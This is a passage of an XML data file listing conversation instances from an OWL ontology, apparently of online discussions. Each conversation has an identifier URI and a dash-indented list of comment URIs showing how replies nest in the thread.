	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#conversation09_10_24_1759213.6</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29860255
</commentlist>
</conversation>
<conversation>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#conversation09_10_24_1759213.0</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29858417
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29858475
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29860611
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29860069
---http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29862103
---http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29860881
---http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29862447
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29860899
---http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29865247
---http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29862465
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29860693
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29858455
</commentlist>
</conversation>
<conversation>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#conversation09_10_24_1759213.1</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29860497
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29865809
</commentlist>
</conversation>
<conversation>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#conversation09_10_24_1759213.4</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29859201
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29861317
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29862641
</commentlist>
</conversation>
<conversation>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#conversation09_10_24_1759213.2</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29859471
</commentlist>
</conversation>
<conversation>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#conversation09_10_24_1759213.5</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29859971
</commentlist>
</conversation>
<conversation>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#conversation09_10_24_1759213.3</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29861521
</commentlist>
</conversation>
